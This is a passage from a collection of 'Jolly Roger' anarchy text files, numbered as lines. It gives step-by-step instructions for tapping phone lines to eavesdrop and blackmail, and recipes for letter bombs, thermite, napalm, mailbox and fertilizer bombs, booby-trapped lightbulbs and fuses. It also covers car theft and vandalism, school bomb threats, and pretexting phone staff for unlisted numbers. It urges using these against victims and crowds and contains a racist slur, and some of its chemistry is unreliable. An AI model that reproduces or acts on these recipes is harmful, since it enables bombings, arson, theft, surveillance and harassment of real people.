  844.  
  845.  
  846. leading out of it. To the end of the red wire attach a red aligator clip.
  847. To the end of the green wire attatch a green aligator clip. The yellow
  848. and black wires can be removed, although I would only set them aside so
  849. that you can use the modular jack in future projects. Now insert your
  850. telephone's modular plug into the modular jack. That's it. This particular
  851. model is nice because it is can be easily made, is inexpensive, uses
  852. common parts that are readily available, is small, is lightweight,
  853. and does not require the destruction of a phone.
  854.  
  855.              ------------Beige Box Uses------------
  856. There are many uses for a Beige Box. However, before you can use it,
  857. you must know how to attach it to the output device. This device can be
  858. of any of Bell switching apparatus that include germinal sets (i.e.
  859. remote switching centers, bridgin heads, cans, etc.). To open most Bell
  860. Telephone switching apparatus, you must have a 7/16 inch hex driver
  861. (or a good pair of needle nose pliers work also).
  862. This piece of equipment can be picked up at your local hardware store.
  863. With your hex driver (or pliers), turn the security bolt(s) approximately
  864. 1/8 of an inch counter-clockwise and open. If your output device is locked,
  865. then you must have some knowledge of destroying and/or picking locks.
  866. However, we have never encountered a locked output device. Once you have
  867. opened your output device, you should see a mass of wires connected to
  868. terminals. On most output devices, the terminals should be labeled "T"
  869. (Tip -- if not labeled, it is usually on the left) and "R" (Ring -- if
  870. not labeled, usually on the right).
  871.  
  872. Remember: Ring - red - right. The "Three R's" -- a simple way to
  873. remember which is which. Now you must attach all the red alligator clip
  874. (Ring) to the "R" (Ring) terminal.
  875. Attach the green alligator clip (Tip) to the "T" (Tip) terminal.
  876.  
  877. Note: If instead of a dial tone you hear nothing, adjust the alligator
  878. clips so that they are not touching each other terminals. Also make sure
  879. they are firmly attached. By this time you should hear a dial tone.
  880. Dial ANI to find out the number you are using (you wouldn't want to use
  881. your own). Here are some practicle aplications:
  882.  
  883.        > Eavesdropping
  884.        > Long distance, static free free fone calls to phriends
  885.        > Dialing direct to Alliance Teleconferencing (also no static)
  886.        > Phucking people over
  887.        > Bothering the operator at little risk to yourself
  888.        > Blue Boxing with greatly reduced chance of getting caught
  889.        > Anything at all you want, since you are on an extension of that
  890. line.
  891.  
  892. Eavesdropping
  893. -------------
  894. To be most effective, first attach the Beige Box then your phone. This
  895. eliminates the static caused by connecting the box, therefore
  896. reducing the potential suspicion of your victim. When eavesdropping,
  897. it is allways best to be neither seen nor heard. If you hear someone
  898. dialing out, do not panic; but rather hang up, wait, and pick up the
  899. receiver again. The person will either have hung up or tried to complete
  900. their call again. If the latter is true, then listen in, and perhaps you
  901. will find information worthy of blackmail! If you would like to know who
  902. you are listening to, after dialing ANI, pull a CN/A on the number.
  903.  
  904.  
  905.  
  906. Dialing Long Distance
  907. ---------------------
  908. This section is self explanitory, but don't forget to dial a "1" before
  909. the NPA.
  910.  
  911. Dialing Direct to Aliance Teleconferencing
  912. ------------------------------------------
  913. Simply dial 0-700-456-1000 and you will get instructions from there.
  914. I prefer this method over PBX's, since PBX's often have poor reception
  915. and are more dificult to come by.
  916.  
  917. Phucking People Over
  918. --------------------
  919. This is a very large topic of discussion. Just by using the other topics
  920. described, you can create a large phone bill for the person (they will
  921. not have to pay for it, but it will be a big hassle for them). In addition,
  922. since you are an extension of the person's line, you can leave your
  923. phone off the hook, and they will not be able to make or receive calls.
  924. This can be extremely nasty because no one would expect the cause
  925. of the problem.
  926. Bothering the Operator
  927. ----------------------
  928. This is also self explanitary and can provide hours of entertainment.
  929. Simply ask her things that are offensive or you would not like traced
  930. to your line. This also corresponds to the previously described section,
  931. Phucking People Over. After all, guess who's line it gets traced to?
  932. He he he...
  933.  
  934. Blue Boxing
  935. -----------
  936. See a file on Blue Boxing for more details. This is an especially nice
  937. feature if you live in an ESS-equiped prefix, since the calls are, once
  938. again, not traced to your line...
  939.  
  940. ---POTENTIAL RISKS OF BEIGE BOXING----
  941. Overuse of the Beige Box may cause suspicians within the Gestapo,
  942. and result in legal problems. Therefor, I would recomend you:
  943.  
  944.             > Choose a secluded spot to do your Beige Boxing,
  945.             > Use more than one output device
  946.             > Keep a low profile (i.e., do not post under your real
  947.               name on a public BBS concering your occomplishments)
  948.             > In order to make sure the enemy has not been inside your
  949. output
  950.               device, I recomend you place a piece of transparent tape over
  951.               the opening of your output device. Therefor, if it is
  952.               opened in your abscence, the tapqe will be displaced and
  953.               you will be aware of the fact that someone has intruded
  954.               on your teritory.
  955.  
  956. Now, imagine the possibilities:  a $2000 dollar phone bill for
  957. that special person, 976 numbers galore, even harassing the
  958. operator at no risk to you!  Think of it as walking into an
  959. enemies house, and using their phone to your heart's content.
  960.  
  961.                                       ---------Jolly Roger
  962.  
  963.                How to make a CO2 bomb        by the Jolly Roger
  964.  
  965.  
  966. çYou will have to use up the cartridge first by either shooting it
  967. or whatever. With a nail, force a hole bigger so as to allow the
  968. powder and wick to fit in easily. Fill the cartridge with black
  969. powder and pack it in there real good by tapping the bottom of the
  970. cartridge on a hard surface (I said TAP not SLAM!). Insert a fuse.
  971. I recommend a good water-proof cannon fuse, or an m-80 type fuse,
  972. but firecracker fuses work, if you can run like a black man runs
  973. from the cops after raping a white girl.) Now, light it and run
  974. like hell! It does wonders for a row of mailboxes (like the ones
  975. in apartment complexes), a car (place under the gas tank), a
  976. picture window (place on window sill), a phone booth (place right
  977. under the phone), or any other devious place. This thing throws
  978. shrapnel, and can make quit a mess!!  -Jolly Roger-
  979.  
  980.  
  981.  
  982. Thermite II... or A better way to make Thermite        by Jolly Roger
  983.  
  984. Thermite is nasty shit. Here is a good and easy way to make it.
  985. The first step is to get some iron-oxide (which is RUST!). Here is
  986. a good way to make large quantities in a short time:
  987.  
  988. - Get a DC convertor like the one used on a train set. Cut the
  989. connector off, seperate the wires, and strip them both.
  990.  
  991. - Now you need a jar of water with a tablespoon or so of sodium
  992. chloride (which is SALT!) added to it. This makes the water
  993. conductive.
  994.  
  995. - Now insert both wires into the mixture (I am assuming you
  996. plugged the convertor in...) and let them sit for five minutes.
  997. One of them will start bubbling more than the other. This is the
  998. POSITIVE(+) wire. If you do not do this test right, the final
  999. product will be the opposite (chemically) of rust, which is RUST
  1000. ACID. You have no use for this here (although it IS useful!).
  1001.  
  1002. - Anyway, put the nail tied to the positive wire into the jar. Now
  1003. put the negative wire in the other end. Now let it sit overnight
  1004. and in the morning scrape the rust off of the nail & repeat until
  1005. you got a bunch of rust on the bottom of the glass. Be generous
  1006. with your rust collection. If you are going through the trouble of
  1007. making thermite, you might as well make a lot, right?
  1008.  
  1009. - Now remove the excess water and pour the crusty solution onto a
  1010. cookie sheet. Dry it in the sun for a few hours, or inside
  1011. overnight. It should be an orange-brown color (although I have
  1012. seen it in many different colors! Sometimes the color gets fucked
  1013. up, what can I say... but it is still iron oxide!)
  1014.  
  1015. - Crush the rust into a fine powder and heat it in a cast-iron pot
  1016. until it is red. Now mix the pure iron oxide with pure alluminum
  1017. filinos which can be bought or filed down by hand from an aluminum
  1018. tube or bar. The ratio or iron oxide to aluminum is 8 grams to 3
  1019. grams.
  1020.  
  1021. - Congrats! You have just made THERMITE! Now, to light it...
  1022.  
  1023. - Thermite requires a LOT of heat (more than a blow torch!) to
  1024.  
  1025.  
  1026. ignite. However, a magnesium ribbon (which is sorta hard to find..
  1027. call around) will do the trick.  It takes the heat from the
  1028. burning magnesium to light the thermite.
  1029.  
  1030. - Now when you see your victim's car, pour a fifty-cent sized pile
  1031. onto his hood, stick the ribbon in it, and light the ribbon with
  1032. the blow torch. Now chuckle as you watch it burn through the hood,
  1033. the block, the axle, and the pavement. BE CAREFUL! The ideal
  1034. mixtures can vaporize CARBON STEEL! Another idea is to use
  1035. thermite to get into pay phone cash boxes. HAVE FUN!! -Jolly Roger-
  1036.  
  1037.  
  1038. Touch Explosives                         by the Jolly Roger
  1039.  
  1040. This is sort of a mild explosive, but it can be quite dangerous in
  1041. large quantities. To make touch explosive (such as that found in a
  1042. snap-n-pop, but more powerful), use this recipe:
  1043.  
  1044. - Mix iodine crystals into ammonia until the iodine crystals will
  1045. not dissolve into the ammonia anymore. Pour off the excess ammonia
  1046. and dry out the crystals on a baking sheet the same way as you
  1047. dried the thermite (in other words, just let it sit overnight!).
  1048.  
  1049. - Be careful now because these crystals are now your touch
  1050. explosive. Carefully wrap a bunch in paper (I mean carefully!
  1051. Friction sets 'em off!) and throw them around.. pretty loud, huh?
  1052. They are fun to put on someone's chair. Add a small fish sinker to
  1053. them and they can be thrown a long distance (good for crowds,
  1054. football games, concerts, etc.) Have fun!  -Jolly Roger-
  1055.  
  1056.  
  1057. Letter Bombs                            by The Jolly Roger
  1058.  
  1059. - You will first have to make a mild version of thermite. Use my
  1060. recipe, but substitute iron fillings for rust.
  1061.  
  1062. - Mix the iron with aluminum fillings in a ratio of 75% aluminum
  1063. to 25% iron. This mixture will burn violently in a closed space
  1064. (such as an envelope). This bring us to our next ingredient...
  1065.  
  1066. - Go to the post office and buy an insulated (padded) envelope.
  1067. You know, the type that is double layered... Seperate the layers
  1068. and place the mild thermite in the main section, where the letter
  1069. would go. Then place magnesium powder in the outer layer. There is
  1070. your bomb!!
  1071.  
  1072. - Now to light it... this is the tricky part and hard to explain.
  1073. Just keep experimenting until you get something that works. The
  1074. fuse is just that touch explosive I have told you about in another
  1075. one of my anarchy files. You might want to wrap it like a long
  1076. cigarette and then place it at the top of the envelope in the
  1077. outer layer (on top of the powdered magnesium). When the touch
  1078. explosive is torn or even squeezed hard it will ignite the
  1079. powdered magnesium (sort of a flash light) and then it will burn
  1080. the mild thermite. If the thermite didn't blow up, it would at
  1081. least burn the fuck out of your enemy (it does wonders on human
  1082. flesh!).
  1083.  
  1084.  
  1085.  
  1086. NOW that is REVENGE!                 -Jolly Roger-
  1087.  
  1088.  
  1089. Paint Bombs                          by The Jolly Roger
  1090.  
  1091. To make a pain bomb you simply need a metal pain can with a
  1092. refastenable lid, a nice bright color paint (green, pink, purple,
  1093. or some gross color is perfect!), and a quantity of dry ice. Place
  1094. the paint in the can and then drop the dry ice in. Quicky place
  1095. the top on and then run like hell! With some testing you can time
  1096. this to a science. It depends on the ratio of dry ice to paint to
  1097. the size of the can to how full it is. If you are really pissed
  1098. off at someone, you could place it on their doorstep, knock on the
  1099. door, and then run!! Paint will fly all over the place HAHAHA!!
  1100.                                         -Jolly Roger-
  1101.  
  1102.  
  1103.  
  1104. Ways to send a car to Hell            by The Jolly Roger
  1105.  
  1106. There are 1001 ways to destroy a car but I am going to cover only
  1107. the ones that are the most fun (for you), the most destructive
  1108. (for them), and the hardest to trace (for the cops).
  1109.  
  1110. - Place thermite on the hood, light it, and watch it burn all the
  1111. way through the pavement!
  1112.  
  1113. - Tape a CO2 bomb to the hood, axel, gas tank, wheel, muffler,
  1114. etc.)
  1115.  
  1116. - Put a tampon, dirt, sugar (this on is good!), a ping pong ball,
  1117. or just about anything that will dissolve in the gas tank.
  1118.  
  1119. - Put potatoes, rocks, banannas, or anything that will fit, into
  1120. the tailpipe. Use a broom handle to stuff 'em up into the
  1121. tailpipe.
  1122.  
  1123. - Put a long rag into the gas tank and light it...
  1124.  
  1125. - Steal a key, copy it, replace it, and then steal the stereo.
  1126.  
  1127. - Break into the car. Cut a thin metal ruler into a shape like
  1128. this:
  1129.              ----
  1130.              |  |
  1131.              |  |
  1132.              |  |
  1133.              | <
  1134.              ----
  1135.  
  1136. Slide it into the outside window and keep pulling it back up until
  1137. you catch the lock cable which should unlock the door. This device
  1138. is also called a SLIM JIM. Now get the stereo, equalizer, radar
  1139. detector, etc. Now destroy the inside. (A sharp knife does wonders
  1140. on the seats!)
  1141.  
  1142. Have Fun!                                    -Jolly Roger-
  1143.  
  1144.  
  1145.  
  1146. çDo ya hate school?                  by The Jolly Roger
  1147.  
  1148. - One of my favorites for getting out of a class or two is to call
  1149. in a bomb threat. Tell 'em that it is in a locker. Then they have
  1150. to check them all, whilst you can slip away for an hour or two.
  1151. You can even place a fake bomb (in any locker but YOURS!). They
  1152. might cancel school for a week while they investigate (of course,
  1153. you will probably have to make it up in the summer...).
  1154.  
  1155. - Get some pure potassium or pure sodium, put it in a capsule, and
  1156. flush it down the toilet (smells awful! Stinks up the whole school!).
  1157.  
  1158. - Use a smoke grenade in the hallway.
  1159.  
  1160. - Steal the computer passwords & keys. Or steal the 80 column cards
  1161.  inside if they are (gag) IBM.
  1162.  
  1163. - Make friends with student assistants and have them change your
  1164. grades when the teachers hand in their bubble sheets for the report
  1165. cards.
  1166.  
  1167. - Spit your gum out on the carpet in the library or whatever and
  1168. grind it into the carpet. Watch the janitors cry!
  1169.  
  1170. - Draw on lockers or spraypaint on the building that the principal
  1171. is a fascist.
  1172.  
  1173. - Stick a potato in the tailpipe of the principal's car.
  1174.  
  1175. - USE YOUR IMAGINATION!                   -Jolly Roger-
  1176.  
  1177.  
  1178. Phone related vandalism                     by the Jolly Roger
  1179.  
  1180. If you live where there are underground lines then you will be
  1181. able to ruin someone's phone life very easily. All you must do is
  1182. go to their house and find the green junction box that interfaces
  1183. their line (and possibly some others in the neighborhood) with the
  1184. major lines. These can be found just about anywhere but they are
  1185. usually underneath the nearest phone pole. Take a socket wrench
  1186. and loosen the nut on the right. Then just take clippers or a
  1187. sledge hammer or a bomb and destroy the insides and pull up their
  1188. phone cable. Now cut it into segments so it can't be fixed but
  1189. must be replaced (There is a week's worth of work for 'em!!)
  1190.                                       -Jolly Roger-
  1191.  
  1192.  
  1193.  
  1194. Highway radar jamming                       by The Jolly Roger
  1195.  
  1196. Most drivers wanting to make better time on the open road will
  1197. invest in one of those expensive radar detectors. However, this
  1198. device will not work against a gun type radar unit in which the
  1199. radar signal is not present until the cop has your car in his
  1200. sights and pulls the trigger. Then it is TOO LATE for you to slow
  1201. down. A better method is to continuously jam any signal with a
  1202. radar signal of your own. I have tested this idea with the
  1203. cooperation of a local cop and found that his unit reads random
  1204.  
  1205.  
  1206. numbers when my car approached him. It is suprisingly easy to make
  1207. a low power radar transmitter. A nifty little semiconductor called
  1208. a Gunn Diode will generate microwaves when supplied with the 5 to
  1209. 10 volt DC and enclosed in the correct size cavity (resonater). An
  1210. 8 to 3 terminal regulator can be used to get this voltage from a
  1211. car's 12v system. However, the correct construction and tuning of
  1212. the cavity is difficult without good microwave measurement
  1213. equipment. Police radars commonly operate on the K band at 22 ghz.
  1214. Or more often on the X band at 10.525 ghz. most microwave intruder
  1215. alarms and motion detectors (mounted over automatic doors in
  1216. supermarkets & banks, etc.) contain a Gunn type
  1217. transmitter/receiver combination that transmits about 10 kilowatts
  1218. at 10.525 ghz. These units work perfectly as jammers. If you
  1219. cannot get one locally, write to Microwave Associates in
  1220. Burlington, Massachusettes and ask them for info on 'Gunnplexers'
  1221. for ham radio use. When you get the unit it may be mounted in a
  1222. plastic box on the dash or in a weather-proff enclosure behind the
  1223. PLASTIC grille. Switch on the power when on an open highway. The
  1224. unit will not jam radar to the side or behind the car so don't go
  1225. speeding past the radar trap. An interesting phenomena you will
  1226. notice is that the drivers who are in front of you who are using
  1227. detectors will hit their brakes as you approach large metal signs
  1228. and bridges. Your signal is bouncing off of these objects and
  1229. triggering their radar detectors!       HAVE FUN!
  1230.                                        -Jolly Roger-
  1231.  
  1232. P.S. If you are interested in this sort of thing, get a copy of
  1233. POPULAR COMMUNICATIONS. The ads in there tell you where you can
  1234. get all kinds of info on all kinds of neat equipment for all kinds
  1235. of neat things!
  1236.  
  1237.  
  1238. Smoke Bombs                         by the Jolly Roger
  1239.  
  1240. Here is the recipe for one helluva smoke bomb!
  1241.  
  1242. 4 parts sugar
  1243. 6 parts potassium nitrate (Salt Peter)
  1244.  
  1245. Heat this mixture over a LOW flame until it melts, stirring well.
  1246. Pour it into a future container and, before it solidifies, imbed a
  1247. few matches into the mixture to use as fuses. One pound of this
  1248. stuff will fill up a whole block with thick, white smoke!
  1249.  
  1250.  
  1251. Mail Box Bombs                                 by the Jolly Roger
  1252.  
  1253. (1) Two litre bottle of chlorine (must contain sodium hypochlorate)
  1254.  
  1255.     Small amount of sugar
  1256.  
  1257.     Small amount of water
  1258.  
  1259.  
  1260. Mix all three of these in equal amounts to fill about 1/10 of the
  1261. bottle. Screw on the lid and place in a mailbox. It's hard to
  1262. believe that such a small explosion will literally rip the mailbox
  1263. in half and send it 20 feet into the air! Be careful doing this,
  1264.  
  1265.  
  1266. though, because if you are caught, it is not up to the person
  1267. whose mailbox you blew up to press charges. It is up to the city.
  1268.                                     -Jolly Roger-
  1269.  
  1270.  
  1271. The easiest way to hotwire cars                 by the Jolly Roger
  1272.  
  1273. Get in the car. Look under the dash. If it enclosed, forget it
  1274. unless you want to cut through it. If you do, do it near the
  1275. ignition. Once you get behind or near the ignition look for two
  1276. red wires. In older cars red was the standard color, if not, look
  1277. for two matched pairs. When you find them, cross them and take
  1278. off!                                  -Jolly Roger-
  1279.  
  1280.  
  1281. How to make Napalm                              by the Jolly Roger
  1282.  
  1283. - Pour some gas into an old bowl, or some kind of container.
  1284.  
  1285. - Get some styrofoam and put it in the gas, until the gas won't
  1286. eat anymore. You should have a sticky syrup.
  1287.  
  1288. - Put it on the end of something (don't touch it!!). The unused
  1289. stuff lasts a long time!
  1290.                                        -Jolly Roger-
  1291.  
  1292.  
  1293.  
  1294. How to make a fertilizer bomb                       by Jolly Roger
  1295.  
  1296. Ingredients:
  1297.  
  1298. - Newspaper
  1299. - Fertilizer (the chemical kind, GREEN THUMB or ORCHO)
  1300. - Cotton
  1301. - Diesel fuel
  1302.  
  1303. Make a pouch out of the newspaper and put some fertilizer in it.
  1304. Then put cotton on top. Soak the cotton with fuel. Then light and
  1305. run like you have never ran before! This blows up 500 square feet
  1306. so don't do it in an alley!!               -Jolly Roger-
  1307.  
  1308.  
  1309.  
  1310. Tennis Ball Bombs                               by The Jolly Roger
  1311.  
  1312. Ingredients:
  1313.  
  1314. - Strike anywhere matches
  1315. - A tennis ball
  1316. - A nice sharp knife
  1317. - Duct tape
  1318.  
  1319. Break a ton of matchheads off. Then cut a SMALL hole in the tennis
  1320. ball. Stuff all of the matchheads into the ball, until you can't
  1321. fit any more in. Then tape over it with duct tape. Make sure it is
  1322. real nice and tight! Then, when you see a geek walking down the
  1323. street, give it a good throw. He will have a blast!!
  1324.  
  1325.  
  1326.                                           -Jolly Roger-
  1327.  
  1328.  
  1329. Diskette Bombs                                  by the Jolly Roger
  1330.  
  1331. You need:
  1332.  
  1333.  - A disk
  1334.  - Scissors
  1335.  - White or blue kitchen matches (they MUST be these colors!)
  1336.  - Clear nail polish
  1337.  
  1338. - Carefully open up the diskette (3.5" disks are best for this!)
  1339.  
  1340. - Remove the cotton covering from the inside.
  1341.  
  1342. - Scrape a lot of match powder into a bowl (use a wooden scraper,
  1343. metal might spark the matchpowder!)
  1344.  
  1345. - After you have a lot, spread it evenly on the disk.
  1346.  
  1347. - Using the nail polish, spread it over the match mixture
  1348.  
  1349. - Let it dry
  1350.  
  1351. - Carefully put the diskette back together and use the nail polish
  1352. to seal it shut on the inside (where it came apart).
  1353.  
  1354. - When that disk is in a drive, the drive head attempts to read
  1355. the disk, which causes a small fire (ENOUGH HEAT TO MELT THE DISK
  1356. DRIVE AND FUCK THE HEAD UP!!). ahahahahaha! Let the fuckhead try
  1357. and fix THAT!!!                        -Jolly Roger-
  1358.  
  1359.  
  1360.  
  1361. Unlisted Phone Numbers                          by The Jolly Roger
  1362.  
  1363. There are a couple of different ways of doing this. Let's see if
  1364. this one will help: Every city has one or more offices dedicated
  1365. to assigning numbers to the telephone wire pairs. These offices
  1366. are called DPAC offices and are available to service reps who are
  1367. installing or repairing phones. To get the DPAC number, a service
  1368. rep would call the customer service number for billing information
  1369. in the town that the number is located in that he is trying to get
  1370. the unlisted number of. (Got that?) The conversation would go
  1371. something like this: "Hi, Amarillo, this is Joe from Anytown
  1372. business office, I need the DPAC number for the south side of
  1373. town." This info is usually passed out with no problems, so... if
  1374. the first person you call doesn't have it, try another. REMEMBER,
  1375. no one has ANY IDEA who the hell you are when you are talking on
  1376. the phone, so you can be anyone you damn well please! (heheheheh!)
  1377. When you call the DPAC number, just tell them that you need a
  1378. listing for either the address that you have, or the name. DPAC
  1379. DOES NOT SHOW WHETHER THE NUMBER IS LISTED OR UNLISTED!! Also, if
  1380. you're going to make a habit of chasing numbers down, you might
  1381. want to check into geting a criss-cross directory, which lists
  1382. phone numbers by their addresses. It costs a couple-a-hundred bux,
  1383. but it is well worth it if you have to chase more than one or two
  1384.  
  1385.  
  1386. numbers down!                                -Jolly Roger-
  1387.  
  1388.  
  1389. Fuses                            brought to you by The Jolly Roger
  1390.  
  1391. You would be surprised how many files are out there that use what
  1392. falls under the category of a "fuse." They assume that you just
  1393. have a few lying around, or know where to get them. Well, in some
  1394. parts of the country, fuses are extremely hard to come by... so
  1395. this file tells you how to make your own. Both fuses presented
  1396. here are fairly simple to make, and are fairly reliable.
  1397.  
  1398. SLOW BURNING FUSE
  1399. ~~~~~~~~~~~~~~~~~ (approx. 2 inches per minute)
  1400.  
  1401. Materials needed:
  1402.  
  1403.  - Cotton string or 3 shoelaces
  1404.  - Potassium Nitrate or Potassium Chlorate
  1405.  - Granulated sugar
  1406.  
  1407. Procedure:
  1408.  
  1409.  - Wash the cotton string or showlaces in HOT soapy water, then
  1410. rinse with fresh water
  1411.  
  1412.  - Mix the following together in a glass bowl:
  1413.    1 part potassium nitrate or potassium chlorate
  1414.    1 part granulated sugar
  1415.    2 parts hot water
  1416.  
  1417.  - Soak strings or shoelaces in this solution
  1418.  
  1419.  - Twist/braid 3 strands together and allow them to dry
  1420.  
  1421.  - Check the burn rate to see how long it actually takes!!
  1422.  
  1423. FAST BURNING FUSE
  1424. ~~~~~~~~~~~~~~~~~ (40 inches per minute)
  1425.  
  1426. Materials needed:
  1427.  
  1428.  -Soft cotton string
  1429.  -fine black powder (empty a few shotgun shells!)
  1430.  -shallow dish or pan
  1431.  
  1432. Procedure:
  1433.  
  1434.  - moisten powder to form a paste
  1435.  
  1436.  - twist/braid 3 strands of cotton together
  1437.  
  1438.  - rub paste into string and allow to dry
  1439.  
  1440.  - Check the burn rate!!!
  1441.  
  1442.  
  1443.  
  1444.  
  1445.  
  1446. How to make Potassium Nitrate                   by The Jolly Roger
  1447.  
  1448. Potassium Nitrate is an ingredient in making fuses, among other
  1449. things. Here is how you make it:
  1450.  
  1451. Materials needed:
  1452.  
  1453.  -3.5 gallons of nitrate bearing earth or other material
  1454.  -1/2 cup of wood ashes
  1455.  -Bucket or other similar container about 4-5 gallons in volume
  1456.  -2 pieces of finely woven cloth, each a bit bigger than the
  1457.   bottom of the bucket
  1458.  -Shallow dish or pan at least as large in diameter as the bucket
  1459.  -Shallow, heat resistant container
  1460.  -2 gallons of water
  1461.  -Something to punch holes in the bottom of the bucket
  1462.  -1 gallon of any type of alcohol
  1463.  -A heat source
  1464.  -Paper & tape
  1465.  
  1466. Procedure:
  1467.  
  1468.  - Punch holes on the inside bottom of the bucket, so that the
  1469. metal is"puckered" outward from the bottom
  1470.  
  1471.  - Spread cloth over the holes from the bottom
  1472.  
  1473.  - Place wood ashes on the cloth. Spread it out so that it covers
  1474. the entire cloth and has about the same thickness.
  1475.  
  1476.  - Place 2nd cloth on top of the wood ashes
  1477.  
  1478.  - Place the dirt or other material in the bucket
  1479.  
  1480.  - Place the bucket over the shallow container. NOTE: It may need
  1481. support on the bottom so that the holes on the bottom are not
  1482. blocked.
  1483.  
  1484.  - Boil water and pour it over the earth very slowly. Do NOT pour
  1485. it all at once, as this will clog the filter on the bottom.
  1486.  
  1487.  - Allow water to run through holes into the shallow dish on the
  1488. bottom.
  1489.  
  1490.  - Be sure that the water goes through ALL of the earth!
  1491.  
  1492.  - Allow water in dish to cool for an hour or so
  1493.  
  1494.  - Carefully drain the liquid in the dish away, and discard the
  1495. sludge in the bottom
  1496.  
  1497.  - Boil this liquid over a fire for at least two hours. Small
  1498. grains of salt will form - scoop these out with the paper as they
  1499. form
  1500.  
  1501.  - When the liquid has boiled down to 1/2 its original volume let
  1502. it sit
  1503.  
  1504.  
  1505.  
  1506.  - After 1/2 hour, add equal volume of the alcohol; when this
  1507. mixture is poured through paper, small white crystals appear. This
  1508. is the posassium nitrate.
  1509.  
  1510. Purification:
  1511.  
  1512.  - Redissolve crystals in small amount of boiling water
  1513.  
  1514.  - Remove any crystals that appear
  1515.  
  1516.  - Pour through improvised filter then heat concentrated solution
  1517. to dryness.
  1518.  
  1519.  - Spread out crystals and allow to dry
  1520.  
  1521.  
  1522. Exploding lightbulbs                            by The Jolly Roger
  1523.  
  1524. Materials needed:
  1525.  
  1526.  -lightbulb (100w)
  1527.  -socket (duh...)
  1528.  -1/4 cup soap chips
  1529.  -blackpowder! (open some shotgun shells!)
  1530.  -1/4 cup kerosene orgasoline
  1531.  -adhesive tape
  1532.  -lighter or small blowtorch
  1533.  -glue
  1534.  
  1535. Procedure for a simple exploding lightbulb:
  1536. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
  1537.  
  1538.  - Drill a small hole in the top of the bulb near the threads!
  1539.  
  1540.  - Carefully pour the blackpowder into the hole. Use enough so
  1541. that it touches the filament!
  1542.  
  1543.  - Insert into socket as normal (make sure the light is off or
  1544. else YOU will be the victim!!)
  1545.  
  1546.  - Get the hell out!!
  1547.  
  1548. Procedure for a Napam Bulb:
  1549. ~~~~~~~~~~~~~~~~~~~~~~~~~~~
  1550.  
  1551.  - Heat kerosene/gasoline in a double boiler
  1552.  
  1553.  - Melt soap chips, stirring slowly.
  1554.  
  1555.  - Put somewhere and allow to cool
  1556.  
  1557.  - Heat the threads of the bulb VERY carefully to melt the glue.
  1558. Remove threads, slowly drawing out the filament. Do NOT break the
  1559. cheap electrical igniters and/or the filament or this won't work!!
  1560.  
  1561.  - Pour the liquid into the bulb, and slowly lower the filament
  1562. back down into the bulb. Make sure the filament is dipped into the
  1563. fluid.
  1564.  
  1565.  
  1566. ç - Re-glue the threads back on. Insert it into a socket frequently
  1567. used by the victim and get the hell out!!
  1568.  
  1569. When the victim flips the switch, he will be in for a BIG surprise!
  1570.  
  1571. Have fun!                              -Jolly Roger-
  1572.  
  1573.  
  1574.  
  1575. Under water igniters                            by The Jolly Roger
  1576.  
  1577. Materials needed:
  1578.  
  1579.  -Pack of 10 silicon diodes (available at Radio Shack. you will
  1580.   know you got the right ones if they are very, very small glass
  1581.   objects!)
  1582.  -Pack of matches
  1583.  -1 candle
  1584.  
  1585. Procedure:
  1586.  
  1587.  - Light the candle and allow a pool of molten wax to form in the
  1588. top.
  1589.  
  1590.  - Take a single match and hold the glass part of a single diode
  1591. against the head. Bend the diode pins around the matchhead so that
  1592. one wraps in an upward direction and thensticks out to the side.
  1593. Do the same with the other wire, but in a downward direction. The
  1594. diodes should now be hugging the matchhead, but its wires MUST NOT
  1595. TOUCH EACH OTHER!
  1596.  
  1597.  - Dip the matchhead in wax to give it a water-proof coat. These
  1598. work underwater
  1599.  
  1600.  - repeat to make as many as you want
  1601.  
  1602. How to use them:
  1603.  
  1604. When these little dudes are hooked across a 6v battery, the diode
  1605. reaches what is called breakdown voltage. When most electrical
  1606. components reach this voltage, they usually produce great amounts
  1607. of heat and light, while quickly melting into a little blob. This
  1608. heat is enough to ignite a matchhead. These are recommended for
  1609. use underwater, where most other igniters refuse to work. ENJOY!
  1610.                                           -Jolly Roger-
  1611.  
  1612.  
  1613. Home-brew blast cannon                          by The Jolly Roger
  1614.  
  1615. Materials needed:
  1616.  
  1617.  -1 plastic drain pipe, 3 feet long, at least 3 1/2 inches in
  1618.   diameter
  1619.  -1 smaller plastic pipe, about 6 inches long, 2 inches in
  1620.   diameter
  1621.  -1 large lighter, with fluid refills (this gobbles it up!)
  1622.  -1 pipe cap to fit the large pipe, 1 pipe cap to fit the small
  1623.   pipe
  1624.  
  1625.  
  1626.  -5 feet of bellwire
  1627.  -1 SPST rocker switch
  1628.  -16v polaroid pot-a-pulse battery
  1629.  -15v relay (get this at Radio Shack)
  1630.  -Electrical Tape
  1631.  -One free afternoon
  1632.  
  1633. Procedure:
  1634.  
  1635.  - Cut the bell wire into three equal pieces, and strip the ends
  1636.  
  1637.  - Cut a hole in the side of the large pipe, the same diameter as
  1638. the small pipe. Thread the hole and one end of the small pipe.
  1639. they should screw together easily.
  1640.  
  1641.  - Take a piece of scrap metal, and bend it into an "L" shape,
  1642. then attach it to the level on the lighter:
  1643.  
  1644.  /------------------------gas switch is here
  1645.  V
  1646.  /------
  1647. !lighter!!<---metal lever
  1648. !!!
  1649. !!
  1650.  
  1651. Now, every time you pull the 'trigger' gas should flow freely from
  1652. the lighter. You may need to enlarge the 'gas port' on your
  1653. lighter, if you wish to be able to fire more rapidly.
  1654.  
  1655.  - Connect two wires to the two posts on the switch
  1656.  
  1657.  - Cut two holes in the side of the smaller tube, one for the
  1658. switch on the bottom, and one for the metal piece on the top.
  1659. Then, mount the switch in the bottom, running the wires up and out
  1660. of the top.
  1661.  
  1662.  - Mount the lighter/trigger in the top. Now the switch should
  1663. rock easily, and the trigger should cause the lighter to pour out
  1664. gas. Re-screw the smaller tube into the larger one, hold down the
  1665. trigger a bit, let it go, and throw a match in there. If all goes
  1666. well, you should hear a nice big 'THUD!'
  1667.  
  1668.  - Get a hold of the relay, and take off the top.
  1669.  
  1670. 1---------------
  1671. v/
  1672.  2--------------/<--- the center object is the metal finger inside
  1673.                 3                                       the relay
  1674.  cc-------------/
  1675.  oo----------------4
  1676.  ii
  1677.  ll----------------5
  1678.  
  1679. Connect (1) to one of the wires coming from the switch. Connect
  1680. (2) to (4), and connect (5) to one side of the battery. Connect
  1681. the remaining wire from the switch to the other side of the
  1682. battery. Now you should be able to get the relay to make a little
  1683. 'buzzing' sound when you flip the switch and you should see some
  1684.  
  1685.  
  1686. tiny little sparks.
  1687.  
  1688.  - Now, carefully mount the relay on the inside of the large pipe,
  1689. towards the back. Screw on the smaller pipe, tape the battery to
